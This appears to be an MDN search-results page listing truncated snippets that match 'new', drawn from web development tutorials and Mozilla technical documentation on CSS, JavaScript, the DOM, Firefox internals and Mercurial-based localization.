new as the preferred alternative. georgia serif times
new roman serif some oses have an alternative (possibly older) version of the times
new roman font called times. it's considered best practice to us...
... trebuchet ms sans-serif you should be careful with using this font — it isn't widely available on mobile oses. ...
...d elements. if not, it moves on to the next font, and so on. it is a good idea to provide a suitable generic font name at the end of the stack so that if none of the listed fonts are available, the browser can at least provide something approximately suitable. to emphasise this point, paragraphs are given the browser's default serif font if no other option is available — which is usually times
new roman — this is no good for a sans-serif font! note: font names that have more than one word — like trebuchet ms — need to be surrounded by quotes, for example "trebuchet ms". a font-family example let's add to our previous example, giving the paragraphs a sans-serif font: p { color: red; font-family: helvetica, arial, sans-serif; } this gives us the following result: <h1>tommy...
...And 2 more matches
What text editors are available? - Learn web development
iki online manual yes brackets mit/bsd free windows, mac, linux forum, irc github wiki yes coda closed source $99 mac twitter, forum, e-mail ebook yes codelobster closed source free windows, mac, linux forum, e-mail no end user doc yes emacs gpl 3 free windows, mac, linux faq, mailing list,
news group online manual yes espresso closed source $75 mac faq, e-mail no end user doc, but plug-in doc yes gedit gpl free windows, mac, linux mailing list, irc online manual yes kate lgpl, gpl free windows, mac, linux mailing list, irc online manual yes komodo edit mpl free windows, mac, lin...
...ging through the settings of your editor and read the manual or documentation to see what its capabilities are. in particular (if possible in your editor), try to: change syntax highlighting settings and colors play with indentation width, setting it to an appropriate setting for your needs check autosave and session saving settings configure any available plugins and investigate how to get
new ones change color schemes adjust view settings and see how you can change the layout of the views check what programming languages/technologies your editor supports while you're learning the default settings of most text editors should be fine to use, but it is important to become familiar with your chosen tools, so you can select the best one for your usage. you will learn more about custom...
...ou're working with. many text editors help you out with features like: syntax highlighting. make your file more legible by color-coding keywords based on the technology you're using. code completion. save you time by auto-completing recurring structures (for example, automatically close html tags, or suggesting valid values for a given css property). code snippets. as you saw when starting a
new html document, many technologies use the same document structure over and over. save yourself the hassle of retyping all this by using a code snippet to pre-fill your document. most text editors now support syntax highlighting, but not necessarily the other two features. make sure in particular that your text editor supports highlighting for html, css, and javascript. what kind of basic featur...
...And 2 more matches
How do I start to design my website? - Learn web development
t be enough). what we will present here is a simple method to handle what professionals call project ideation, project planning, and project management. what exactly do i want to accomplish? this is the most important question to answer, since it drives everything else. list all the goals you want to reach. it can be anything: selling goods to make money, expressing political opinions, meeting
new friends, gigging with musicians, collecting cat pictures, or whatever you want. suppose you are a musician. you could wish to: let people hear your music. sell goodies. meet other musicians. talk about your music. teach music through videos. publish photos of your cats. find a
new girl/boyfriend. once you have such a list, you need to prioritize. order the goals from most important to...
... let people hear your music. talk about your music. meet other musicians. sell goodies. teach music through videos. ...
...to reach those goals. are you sure? let's look back at our example. we have five goals connected to music, one goal related to personal life (finding your significant other), and the completely unrelated cat photos. is it reasonable to build a single website to cover all those goals? is it even necessary? after all, scores of existing web services might bring you to your goals without building a
new website. finding a girl/boyfriend is a prime case where it makes more sense to use existing resources rather than build a whole
new site. why? because we'll spend more time building and maintaining the website rather than actually searching for a girl/boyfriend. since our goal is what matters most, we should spend our energy on leveraging existing tools rather than starting from scratch. again, ...
...And 2 more matches
JavaScript basics - Learn web development
ools listed above. you can learn more in mdn's javascript learning area, as well as in other parts of mdn. the section below introduces some aspects of the core language, and offers an opportunity to play with a few browser api features too. have fun! a hello world! example javascript is one of the most popular modern web technologies! as your javascript skills grow, your websites will enter a
new dimension of power and creativity. however, getting comfortable with javascript is more challenging than getting comfortable with html and css. you may have to start small, and progress gradually. to begin, let's examine how to add javascript to your page for creating a hello world! example. (hello world! is the standard for introductory programming examples.) important: if you haven't been fo...
... css. you may have to start small, and progress gradually. to begin, let's examine how to add javascript to your page for creating a hello world! example. (hello world! is the standard for introductory programming examples.) important: if you haven't been following along with the rest of our course, download this example code and use it as a starting point. go to your test site and create a
new folder named scripts. within the scripts folder, create a
new file called main.js, and save it. in your index.html file, enter this code on a
new line, just before the closing </body> tag: <script src="scripts/main.js"></script> this is doing the same job as the <link> element for css. it applies the javascript to the page, so it can have an effect on the html (along with the css, and anyth...
...rty equal to an anonymous (i.e. nameless) function, which contains the code we want the click event to run. note that document.queryselector('html').onclick = function() {}; is equivalent to let myhtml = document.queryselector('html'); myhtml.onclick = function() {}; it's just shorter. supercharging our example website with this review of javascript basics completed (above), let's add some
new features to our example site. adding an image changer in this section, you will learn how to use javascript and dom api features to alternate the display of one of two images. this change will happen as a user clicks the displayed image. choose an image you want to feature on your example site. ideally, the image will be the same size as the image you added previously, or as close as possibl...
...And 2 more matches
HTML table basics - Learn web development
other hand are sized according to their content by default, so extra measures are needed to get table layout styling to effectively work across a variety of devices. active learning: creating your first table we've talked table theory enough, so, let's dive into a practical example and build up a simple table. first of all, make a local copy of blank-template.html and minimal-table.css in a
new directory on your local machine. the content of every table is enclosed by these two tags : <table></table>. add these inside the body of your html. the smallest container inside a table is a table cell, which is created by a <td> element ('td' stands for 'table data'). add the following inside your table tags: <td>hi, i'm your first cell.</td> if we want a row of four cells, we need to co...
...ll eat till he explodes the problem here is that, while you can kind of make out what's going on, it is not as easy to cross reference data as it could be. if the column and row headings stood out in some way, it would be much better. active learning: table headers let's have a go at improving this table. first, make a local copy of our dogs-table.html and minimal-table.css files in a
new directory on your local machine. the html contains the same dogs example as you saw above. to recognize the table headers as headers, both visually and semantically, you can use the <th> element ('th' stands for 'table header'). this works in exactly the same way as a <td>, except that it denotes a header, not a normal cell. go into your html, and change all the <td> elements surrounding the tab...
...table headers and cells have the colspan and rowspan attributes, which allow us to do just those things. both accept a unitless number value, which equals the number of rows or columns you want spanned. for example, colspan="2" makes a cell span two columns. let's use colspan and rowspan to improve this table. first, make a local copy of our animals-table.html and minimal-table.css files in a
new directory on your local machine. the html contains the same animals example as you saw above. next, use colspan to make "animals", "hippopotamus", and "crocodile" span across two columns. finally, use rowspan to make "horse" and "chicken" span across two rows. save and open your code in a browser to see the improvement. note: you can find our finished example at animals-table-fixed.html on ...
...And 2 more matches
Introducing asynchronous JavaScript - Learn web development
ed at in previous learning area modules is synchronous — you run some code, and the result is returned as soon as the browser can do so. let's look at a simple example (see it live here, and see the source): const btn = document.queryselector('button'); btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.textcontent = 'this is a
newly-added paragraph.'; document.body.appendchild(pelem); }); in this block, the lines are executed one after the other: we grab a reference to a <button> element that is already available in the dom. we add a click event listener to it so that when the button is clicked: an alert() message appears. once the alert is dismissed, we create a <p> element. we then give it some text c...
...ll take to download, so when you come to run the second line it will throw an error (possibly intermittently, possibly every time) because the response is not yet available. instead, you need your code to wait until the response is returned before it tries to do anything else to it. there are two main types of asynchronous code style you'll come across in javascript code, old-style callbacks and
newer promise-style code. in the below sections we'll review each of these in turn. async callbacks async callbacks are functions that are specified as arguments when calling a function which will start executing code in the background. when the background code finishes running, it calls the callback function to let you know the work is done, or to let you know that something of interest has happen...
...ened. using callbacks is slightly old-fashioned now, but you'll still see them in use in a number of older-but-still-commonly-used apis. an example of an async callback is the second parameter of the addeventlistener() method (as we saw in action above): btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.textcontent = 'this is a
newly-added paragraph.'; document.body.appendchild(pelem); }); the first parameter is the type of event to be listened for, and the second parameter is a callback function that is invoked when the event is fired. when we pass a callback function as an argument to another function, we are only passing the function's reference as an argument, i.e, the callback function is not executed immediately. ...
...And 2 more matches
Functions — reusable blocks of code - Learn web development
e that features a pair of parentheses — () — and you're not using a common built-in language structure like a for loop, while or do...while loop, or if...else statement, you are making use of a function. built-in browser functions we've made use of functions built in to the browser a lot in this course. ...
...ot using a common built-in language structure like a for loop, while or do...while loop, or if...else statement, you are making use of a function. built-in browser functions we've made use of functions built in to the browser a lot in this course. ...
...unctions we've made use of functions built in to the browser a lot in this course. ...
...And 2 more matches
Function return values - Learn web development
es, and how to make use of them. what are return values? return values are just what they sound like — the values that a function returns when it has completed. you've already met return values a number of times, although you may not have thought about them explicitly. let's return to a familiar example (from a previous article in this series): let mytext = 'the weather is cold'; let
newstring = mytext.replace('cold', 'warm'); console.log(
newstring); // should print "the weather is warm" // the replace() string function takes a string, // replaces one substring with another, and returns // a
new string with the replacement made the replace() function is invoked on the mytext string, and is passed two parameters: the substring to find ('cold'). the string to replace it with (...
... if you look at the replace() function mdn reference page, you'll see a section called return value. ...
... if you look at the replace() function mdn reference page, you'll see a section called return value. it is very useful to know and understand what values are returned by functions, so we try to include this information wherever possible. some functions don't return any value. ...
...And 2 more matches
Manipulating documents - Learn web development
language, a media stream from the user's webcam, etc. the document (represented by the dom in browsers) is the actual page loaded into the window, and is represented in javascript by the document object. you can use this object to return and manipulate information on the html and css that comprises the document, for example get a reference to an element in the dom, change its text content, apply
new styles to it, create
new elements and add them to the current element as children, or even delete it altogether. in this article we'll focus mostly on manipulating the document, but we'll show a few other useful bits besides. the document object model the document currently loaded in each one of your browser tabs is represented by a document object model. this is a "tree structure" representa...
...-like object containing all the elements on the page of a given type, for example <p>s, <a>s, etc. the element type is passed to the function as a parameter, i.e. const elementrefarray = document.getelementsbytagname('p'). these two work in older browsers than the modern methods like queryselector(), but are not as convenient. have a look and see what others you can find! creating and placing
new nodes the above has given you a little taste of what you can do, but let's go further and look at how we can create
new elements. going back to the current example, let's start by grabbing a reference to our <section> element — add the following code at the bottom of your existing script (do the same with the other lines too): const sect = document.queryselector('section'); now let's c...
...the above has given you a little taste of what you can do, but let's go further and look at how we can create
new elements. ...
...And 2 more matches
Server-side web frameworks - Learn web development
%} </ul> {% else %} <p>no teams are available.</p> {% endif %} </body> </html> how to select a web framework numerous web frameworks exist for almost every programming language you might want to use (we list a few of the more popular frameworks in the following section). with so many choices, it can become difficult to work out what framework provides the best starting point for your
new web application. some of the factors that may affect your decision are: effort to learn: the effort to learn a web framework depends on how familiar you are with the underlying programming language, the consistency of its api, the quality of its documentation, and the size and activity of its community. if you're starting from absolutely no programming experience then consider django (it is ...
...unity. if you're starting from absolutely no programming experience then consider django (it is one of the easiest to learn based on the above criteria). if you are part of a development team that already has significant experience with a particular web framework or programming language, then it makes sense to stick with that. productivity: productivity is a measure of how quickly you can create
new features once you are familiar with the framework, and includes both the effort to write and maintain code (since you can't write
new features while old ones are broken). many of the factors affecting productivity are similar to those for "effort to learn" — e.g. documentation, community, programming experience, etc. — other factors include: framework purpose/origin: some web frameworks...
...actors affecting productivity are similar to those for "effort to learn" — e.g. documentation, community, programming experience, etc. — other factors include: framework purpose/origin: some web frameworks were initially created to solve certain types of problems, and remain better at creating web apps with similar constraints. for example, django was created to support development of a
newspaper website, so it's good for blogs and other sites that involve publishing things. by contrast, flask is a much lighter-weight framework and is great for creating web apps running on embedded devices. opinionated vs unopinionated: an opinionated framework is one in which there are recommended "best" ways to solve a particular problem. opinionated frameworks tend to be more productive when y...
...And 2 more matches
Introduction to cross browser testing - Learn web development
ese days, but differences and bugs still creep through sometimes. some browsers may have different levels of support for technology features than others. this is inevitable when you are dealing with bleeding edge features that browsers are just getting round to implementing, or if you have to support really old browsers that are no longer being developed, which may have been frozen (i.e. no more
new work done on them) a long time before a
new feature was even invented. as an example, if you want to use cutting edge javascript features in your site, they might not work in older browsers. if you need to support older browsers, you might have to not use those, or convert your code to old fashioned syntax using some kind of cross-compiler where needed. some devices may have constraints that cau...
...olutions to those. workflows for cross browser testing all of this cross browser testing business may sound time consuming and scary, but it needn't be — you just need to plan carefully for it, and make sure you do enough testing in the right places to make sure you don't run into unexpected problems. if you are working on a large project, you should be testing it regularly, to make sure that
new features work for your target audience, and that
new additions to the code don't break old features that were previously working. if you leave all the testing to the end of a project, any bugs you uncover will be a lot more expensive and time consuming to fix than if you uncover them and fix them as you go along. the workflow for testing and bug fixes on a project can be broken down into roughl...
...t going to work in some older browsers, and move on. this is ok, provided your client/userbase is ok with it. normally your development will involve a combination of the above three approaches. the most important thing is that you test each small part before committing it — don't leave all the testing till the end! testing/discovery after each implementation phase, you will need to test the
new functionality. to start with, you should make sure there are no general issues with your code that are stopping your feature from working: test it in a couple of stable browsers on your system, like firefox, safari, chrome, or ie/edge. do some lo-fi accessibility testing, such as trying to use your site with only the keyboard, or using your site via a screen reader to see if it is navigable. ...
...And 2 more matches
CSUN Firefox Materials
, no-nonsense interface." - pc magazine firefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web. in addition to winning major awards such as pc world product of the year, firefox has attracted a huge following among savvy users who simply care enough about their web browsing experience to download a
new piece of software. websites such as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage. why do the most discerning users switch to firefox? because firefox rethinks the web, and does away with many of the common annoyances that cause browsing to be difficult for ordinary people. firefox's "www for everyone" philosophy is also a great accessibility story. ...
...licating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. it also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows. fire vox is a screen reader extension built just for firefox which can read mathml the accessibility extension, from the university of illinois, provides
new menus and keyboard shortcuts for accessing every feature of a web page community contributions the real reason behind firefox's success is the great community of volunteers and organizations that realize they have something to benefit from a browser open to utilizing their ideas and hard work. contributions come in many forms. the mozilla firefox community welcomes bug reports, ideas, documentat...
... are a couple of success stories from businesses who contributed accessibility code because they needed an accessible web browser which supported their software: ibm contributes accessible web applications (dhtml and ajax) ibm realized it needed a way to enable accessibility for ever more powerful web applications, beyond what you see on typical web pages today. rather than go and write their own
new web browser, ibm decided to trust in the openness of the mozilla community, which accepted ibm's significant contributions. for example, ibm has delivered over 50,000 lines of code to enable accessibility in firefox on windows and especially for this
new powerful world of "web applications". a web application may be an easier-to-use online tax assistant, a web calendar or a live sports statistics...
...And 2 more matches
Mozilla’s UAAG evaluation report
recent version, check for updates on the user agent working group home page. look to the "techniques" document for real-world implementation examples of each checkpoint. this uaag evaluation report covers nightly builds of the mozilla web browser itself, running on windows 2000, as of february 20, 2002. we are claiming to support html 4, css 2, png, jpg and gif. this evaluation does not cover mail
news or composer. there may be accessibility and customizability features not listed here. a very good resource is the customizing document. when filing mozilla bugs based on uaag requirements, please use bug 24413 as the uaag meta bug. checkpoint information (same scaled used on w3c's uaag implementation reports pages) rating scale c: complete implementation vg: very good implem...
...lution, because the document retains its look - all font sizes are increased the same percentage. zooming can be controlled via hotkeys ctrl+plus and ctrl+minus the prefs are at preferences, appearances, fonts there is also a hidden pref line that can be added to prefs.js, if you just want to change the minimum font size for a certain font: user_pref("font.minimum-size.x-western",
newfontsizeinpoints); for other i18n charsets, change x-western to x-central-euro, x-cyrillic, x-unicode, x-user-def, x-baltic, el, tr, he, ar, th, ja, zh-cn or zh-tw 4.2 configure font family. (p1) c can be changed through preferences or user style sheet the prefs are at preferences, appearances, fonts 4.3 configure text colors. (p1) vg can be changed through pr...
...(p2) c when focus and/or selection changes they are in the viewport 5.5 confirm form submission. (p...
...And 2 more matches
Application cache implementation overview
ely loads. marking entries as foreign when nscontentsink::processofflinemanifest() discovers that the url in the manifest attribute of the html tag is different from the manifest url the channel's nsiapplicationcache object belongs to, the entry the document has been loaded from is marked “foreign” and the page load is completely restarted. the load starts again from the top with a completely
new channel. but this time the entry is not selected to load the top level document from. we search another, if available, potentially even in a different offline cache group. loading subresources of a document using offline cache each sub resource loading channel is set inheritapplicationcache flag. this flag is by default true, but it is dropped by nsdocshell::douriload() to false only for top leve...
...uring initiation the update is first looking for an existing nsiapplicationcache object using nsiapplicationcacheservice::getactivecache() with the manifest url to load from as an argument. when found, this update is processing an “update” and this cache is used as a cache to satisfy each manifest item and the manifest it self load from. otherwise, this is “first download”. then creates a
new nsiapplicationcache for the given manifest url using nsiapplicationcacheservice::createapplicationcache(). this
new cache version is now pending to be activated after all following long and complicated download process passes. until that it is not used for loading resources from. after these steps the update is in initialized state waiting to be scheduled. when the update is about to actually sta...
...cheduling service calls nsofflinecacheupdate::begin() method, that switches the update to checking state (+invokes onchecking event) and starts fetch of the manifest file. note: whenever a load of an items (including the manifest) fails due to a network or server error or leads to a redirect, the update fails and completely rollbacks any changes made (i.e. all files downloaded are deleted and the
new cache version is discarded.) an md5 hash is then calculated from the manifest content we download from the server to be compared to existing md5 (in case of an “update”). during the load, manifest is parsed according the “parsing the cache manifest” html5 spec, and lists of entries and namespaces are collected. after the manifest fetch is done, nsofflinecacheupdate::loadcompleted() is cal...
...And 2 more matches
Creating a spell check dictionary add-on
nsists of two files, one with a .dic and one with an .aff file extension. a locale code to describe the language of the dictionary. for example en-us, de-de or da. it is important to choose the right locale code, or the spell checker will not be able to match the language of your dictionary against the language of a web page in order to select the right dictionary to use. if you are creating a
new dictionary, as opposed to updating an existing one, please make sure that there is not already a dictionary available for your locale. if there already is one, try contacting the author to get it updated, or contact amo editors if the author does not respond. packaging a firefox add-on is a zip file renamed to use an .xpi file extension instead of the normal .zip file extension. to create a dic...
...if you update an existing dictionary add-on, you must keep the existing em...
... </description> </em:targetapplication> </description> </rdf> there are some rules about how you should adapt the install.rdf file: if you are creating a
new dictionary add-on, we recommend that the em:id consists of your locale code followed by @dictionaries.addons.mozilla.org, but if there is more than one dictionary for your language (for example the german "old spelling" versus "
new spelling" dictionaries), you may need to choose another id, that follows the rules of em:id. if you update an existing dictionary add-on, you must keep the existing em:id, or your users will not be updated to the latest version. ...
...And 2 more matches
Adding APIs to the navigator object
you can read about creating and registering xpcom components in javascript. ...
...you can read about creating and registering xpcom components in javascript. ...
...you can read about creating and registering xpcom components in javascript. ...
...And 2 more matches
Listening to events on all tabs
ress awebprogress, nsirequest arequest, nsiuri alocation [optional] in unsigned long aflags ); parameters abrowser the browser representing the tab whose location changed. awebprogress the progress instance responsible for handling the events. arequest the nsirequest object representing the associated request. alocation an nsiuri object indicating the tab's
new uri. aflags optional: this is a value which explains the situation or the reason why the location has changed. optional from gecko 10 onprogresschange called when updated progress information for the download of a document is available. void onprogresschange( nsidomxulelement abrowser, nsiwebprogress awebprogress, nsirequest arequest, print32 acurselfprogress, print32 amaxselfp...
...note: these notifications will only occur if a security package is installed. void onsecuritychange( nsidomxulelement abrowser, nsiwebprogress awebprogress, nsirequest arequest, unsigned long astate ); parameters abrowser the browser that fired the notification. awebprogress the nsiwebprogress instance that fired the notification. arequest the nsirequest that has
new security state. astate a value composed of the security state flags and the security strength flags described in the documentation for nsiwebprogresslistener. onstatechange notification indicating the state has changed for one of the requests associated with awebprogress. void onstatechange( nsidomxulelement abrowser, nsiwebprogress awebprogress, nsirequest arequest, unsigned lon...
...ss, nsirequest arequest, unsigned long astateflags, nsresult astatus ); parameters abrowser the browser that fired the notification. awebprogress the nsiwebprogress instance that fired the notification. arequest the nsirequest that has changed state. this parameter may be null. need more information on what null means. astateflags flags indicating the
new state. this value is a combination of one of the state transition flags and one or more of the state type flags defined in the nsiwebprogresslistener documentation. any undefined bits are reserved for future use. astatus error status code associated with the state change; this indicates whether or not the request was successful. this parameter should be ignored unless astateflags includes...
...And 2 more matches
mach
in.py. the mach driver is the mach file in the root directory of mozilla-central. as you can see, the mach driver is a shim that calls into the mach core. as you may have inferred, mach is implemented in python. python is our tooling programming language of choice at mozilla. mach is also python 3 compliant (at least it should be). ...
...he mach file in the root directory of mozilla-central. as you can see, the mach driver is a shim that calls into the mach core. as you may have inferred, mach is implemented in python. python is our tooling programming language of choice at mozilla. mach is also python 3 compliant (at least it should be). adding features to mach most mach features come in the form of
new commands. implementing
new commands is as simple as writing a few lines of python and registering the created file with mach. the first step to adding a
new feature to mach is to file a bug. you have the choice of filing a bug in the core :: mach component or in any other component. if you file outside of core :: mach, please add [mach] to the whiteboard. mach is relatively
new and the api is changing. so, the best way t...
... start by looking at the source for the mach driver. you will see a list defining paths to python files (likely named mach_commands.py). these are the python files that implement mach commands and are loaded by the mach driver. ...
...And 2 more matches
Index
a requirement for building gecko in february 2017 with firefox 54. 8 experimental features in firefox experimental, firefox, preferences, features this page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary. ...
...ment for building gecko in february 2017 with firefox 54. 8 experimental features in firefox experimental, firefox, preferences, features this page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary. ...
...nformation on how to activate them, if necessary. 10 firefox ui considerations for web developers activity stream, firefox, icons, mozilla,
new tab,
newtab, ui, web, web development, favicon there are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to visit or a site to manage in some way. one example is the
new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space. 11 firefox and the "about" protocol firefox, guide, mozilla, protocols there is a lot of useful information about firefox hidden away behind the about: url proto...
...And 2 more matches
Performance best practices for Firefox front-end engineers
kground tasks api, and doing it only when we have a free second where presumably the user isn’t doing something. see also the blog post collective scheduling with requestidlecallback. as of bug 1353206, you can also schedule idle events in non-dom contexts by using services.tm.idledispatchtomainthread. see the nsithreadmanager.idl file for more details. hide your panels if you’re adding a
new xul <xul:popup> or <xul:panel> to a document, set the hidden attribute to true by default. by doing so, you cause the binding applied on demand rather than at load time, which makes initial construction of the xul document faster. get familiar with the pipeline that gets pixels to the screen learn how pixels you draw make their way to the screen. knowing the path they will take through the vari...
...swer the question that javascript is asking (“what is the clientheight of div1?”). it’s possible for our example to avoid this synchronous, uninterruptible reflow by moving lines 2 and 4 above line 1. assuming there weren’t any style changes requiring size or position recalculation above line 1, the clientheight information should be cached since the last reflow, and will not result in a
new layout calculation. if you can avoid querying for the size or position of things in javascript, that’s the safest option—especially because it’s always possible that something earlier in this tick of javascript execution caused a style change in the dom without you knowing it. note that given the same changes to the dom of a chrome ui document, a single synchronous uninterruptible reflow ...
...) returns the window's scroll offsets without taking the chance of causing a sync reflow. writing tests to ensure you don’t add more unintentional reflow the interface nsireflowobserver lets us detect both interruptible and uninterruptible reflows. a number of tests have been written that exercise various functions of the browser (opening tabs, opening windows) and ensure that we don’t add
new uninterruptible reflows accidentally while those actions occur. you should add tests like this for your feature if you happen to be touching the dom. detecting over-painting with paint flashing painting is, in general, cheaper than both style calculation and layout calculation; still, the more you can avoid, the better. generally speaking, the larger an area that needs to be repainted, the lon...
...And 2 more matches
Internationalized Domain Names (IDN) Support in Mozilla Browsers
an internationalized domain name (idn) is a domain/host name which uses non-ascii characters. until recently domain names allowed only a subset of 7-bit ascii characters. as the internet has spread to non-english speaking people around the world, it has become increasingly clear that forcing them to use domain names written only in a subset of the latin alphabet is not ideal. ...
...alphabet at all. speakers of these languages were not able to use familiar names in their native languages as part of internet domain/host names. for the past few years, there have been a flurry of ietf activities to standardize the protocols involved in domain names to handle non-ascii characters. in march of 2003, three important rfc's were approved by ietf. (cf. rfc's 3490, 3491, 3492.) these
new rfc's now make it possible for domain name servers to register non-ascii domain names and application/client vendors to implement standardized support for handling non-ascii characters in domain names. how idn works when a browser sees a host name such as http://developer.mozilla.org, it passes a request to the dns resolver service (usually built into an os), which in turn sends a request to a ...
...ny living languages and there are also living characters in most languages that are not suitable for uri/url creation, the icann guideline allows the governing body of each country's domain registrars to set appropriate limitations on the use of characters. with this last piece of obstacle for standardization out of the way, domain name registrars are expected to move forward on implementing the
new rfc's for existing and future idn registrations quickly. jprs (japan registry service) decided to move to the
new rfc implementation on july 10, 2003, only a few weeks after the icann's guideline was published. this makes it possible for netscape 7.1/mozilla 1.4 users to access japanese host names under .jp top domain without any additional setup using just the built-in idn functionality. real ...
...And 2 more matches
AddonUpdateChecker
the addonupdatechecker is used to download and parse update information for an add-on's update manifest. if all you care about is finding the
newest version for an addon then you probably want to use findupdates() instead. ...
... version for an addon then you probably want to use findupdates() instead. to import the addonupdatechecker, use: components.utils.import("resource://gre/modules/addonupdatechecker.jsm"); method overview updateinfo getcompatibilityupdate(in updateinfo updates[], in string version, in boolean ignorecompatibility, in string appversion, in string platformversion) updateinfo get
newestcompatibleupdate(in updateinfo updates[], in string appversion, in string platformversion) void checkforupdates(in string id, in string type, in string updatekey, string url, in updatechecklistener listener) constants constant description error_timeout the update check timed out. error_download_error there was an error while downloading the u...
...tcompatibilityupdate() retrieves the best matching compatibility update for the application from a list of available update objects. ...
...And 2 more matches
CustomizableUI.jsm
ea. note that these are also abstract cross-window objects; customizableui will manage the actual dom manipulation involved with adding/moving/removing widgets in all windows for you. there are three main types of widgets: 'legacy' xul widgets, which are the way customizableui represents widgets whose dom representation is present (or overlaid) into a window; api-style widgets, which are the
new widgets customizableui can create and manage for you. these come in 3 types themselves: button which are simple toolbar buttons which do something when clicked view which are toolbar buttons with a 'view' of further options. the view can be shown as its own panel when such a widget is in the toolbar, or as a sliding 'subview' of the menu panel when such a widget is in the menu pane...
...chronously on the ui thread, so if you can delay any/some of your processing, that is advisable. the following event handlers are supported: onwidgetadded(awidgetid, aarea, aposition) fired when a widget is added to an area. awidgetid is the widget that was added, aarea the area it was added to, and aposition the position in which it was added. onwidgetmoved(awidgetid, aarea, aoldposition, a
newposition) fired when a widget is moved within its area. awidgetid is the widget that was moved, aarea the area it was moved in, aoldposition its old position, and a
newposition its
new position. onwidgetremoved(awidgetid, aarea) fired when a widget is removed from its area. awidgetid is the widget that was removed, aarea the area it was removed from. onwidgetbeforedomchange(anode, anextnode, ac...
... awindow. oncustomizeend(awindow) fired when exiting customize mode in awindow. onwidgetoverflow(anode, acontainer) fired when a widget's dom node is overflowing its container, a toolbar, and will be displayed in the overflow panel. onwidgetunderflow(anode, acontainer) fired when a widget's dom node is not overflowing its container, a toolbar, anymore. onwindowopened(awindow) fired when a
new customizable (ie browser) window is opened. onwindowclosed(awindow) fired when a customizable (ie browser) window is closed. method overview void addlistener(alistener); void removelistener(alistener); void registerarea(aareaid, aproperties); void registertoolbarnode(atoolbar, aexistingchildren); void registermenupanel(apanel); void unreg...
...And 2 more matches
Promise.jsm
if you just need a promise, consider using a dom promise instead. if you need a deferred, because you want to create a promise and manually resolve or reject it, consider using promiseutils.jsm instead. ...
...ing promise may be received by different means, for example as the return value of a call into an asynchronous api. in this case, the state of the promise can be observed but not directly controlled. to observe the state of a promise, its then method must be used. this method registers callback functions that are called as soon as the promise is either fulfilled or rejected. the method returns a
new promise that, in turn, is fulfilled or rejected depending on the state of the original promise and on the behavior of the callbacks. for example, unhandled exceptions in the callbacks cause the
new promise to be rejected, even if the original promise is fulfilled. see the documentation of the then method for details. promises may also be created using the
new promise() constructor. method overv...
...cks cause the
new promise to be rejected, even if the original promise is fulfilled. see the documentation of the then method for details. promises may also be created using the
new promise() constructor. method overview deferred defer(); obsolete since gecko 30 promise resolve([optional] avalue); promise reject([optional] areason); methods defer() creates a
new pending promise and provides methods to resolve or reject it. deferred defer(); obsolete since gecko 30 parameters none. return value a
new object, containing the
new promise in the promise property, and the methods to change its state in the resolve and reject properties. see the deferred documentation for details. ...
...And 2 more matches
Localizing with Mercurial
alternatively, you can edit the %path% variable manually. in order to do so, right-click on your computer icon, choose properties > advanced > environmental variables, select path and click edit. if you don't see path among the options, you'll have to click add and edit it within the add dialog. see the screenshot for an example. did it work? go to start > run... type cmd.exe and click ok. a
new shell window should appear. type hg --version in the
new shell window. if you see a message about the version of mercurial (e.g. mercurial distributed scm (version 1.3.1)), you have installed mercurial successfully! more details for more details on installing hg on windows, refer to the instructions on mercurial's download page. mercurial on mac osx installing hg on mac osx is super easy. ...
...ile which you must create yourself. your config file is called either ~/.hgrc (unix systems) or mercurial.ini (windows), depending on your operating system. your config file should have the following settings: [ui] username = your real name <user@example.com> merge = internal:merge [defaults] commit = -v [diff] git = 1 showfunc = 1 unified = 8 to configure hg, follow these steps: create a
new file in your favorite text editor. copy the settings above and paste them into your
new file. save the file as either .hgrc (unix systems) or mercurial.ini (windows) and save it in either $home/ or c:\mozilla-build\hg\ or c:\program files\mercurial\. now that you've installed and configured mercurial, here are a few tasks you can do without hg commit access priviledges. cloning and updating ...
...r localization repository for the first time is just as easy. for example, to clone your firefox nightly l10n repo, run the following command, replacing ab-cd with your locale code: hg clone https://hg.mozilla.org/l10n-central/ab-cd/ updating your local repos to update your working copy of mozilla-central, go to your local mozilla-central directory and run: hg pull -u this will both get
new changesets from mozilla-central and apply those changes in your working copy. to update your working copy of comm-central, go to your comm-central directory and run: python client.py checkout this will both get
new changesets from comm-central, mozilla-central and the other appropriate locations and apply those changes in your working copy. to update your local l10n repo after your first...
...And 2 more matches
Release phase
troubleshooting ssh if pushing fails, make sure your ~/.ssh/config has the correct user set under the hg.mozilla.org host. this should be your mozilla ldap account name. next, try issuing the following command: $ ssh hg.mozilla.org if ssh is working fine, you should see the following message: no interactive shells allowed here! connection to hg.mozilla.org clos...
...r to ask for technical review of your work or a sign-off review? do you know what what exactly is reviewed in each process? technical and sign-off reviews apply to different localizations in different ways. here's the basic difference between the two. technical review sign-off review performed as a qa measure on a revision pushed to a
new locale's l10n aurora repo in mercurial. very comprehensive. covers the entire product. focus is on technical accuracy and completion of l10n work; not translation quality. only performed on the first revision a
new locale wants to have released to the public. must be approved prior to migrating your revision from one release channel to the next (e.g., auror...
... focus is still on technical accuracy and completion of l10n work; not translation quality. ...
...And 2 more matches
Translation phase
l aspect of the process begins to divide. at mozilla, we localize many different projects that can be categorized into three different groups. each group of projects employs a different type of l10n tool for, you guessed it, localizing the projects. the l10n tools are meant to help you maintain your localized content from release to release and leverage already localized materials when localizing
new content. here we'll identify those groups of projects and the l10n tools associated with them. along the way we'll point you to basic, technical tutorials on localizing for that particular project group. it's up to you and your community to determine which l10n tool will best suit your needs. as you gain more experience, you may want to localize independent of mozilla-developed l10n tools, which...
... your repositories. visit the mozilla translator (mt) download page to get your own mt client. version 5.26 is the latest version. virtaal an offline, stand-alone version of pootle that is also built on the translate toolkit api. these are the mozilla application projects that are localized using the l10n tools above: firefox the award-winning firefox® web browser has security, speed and
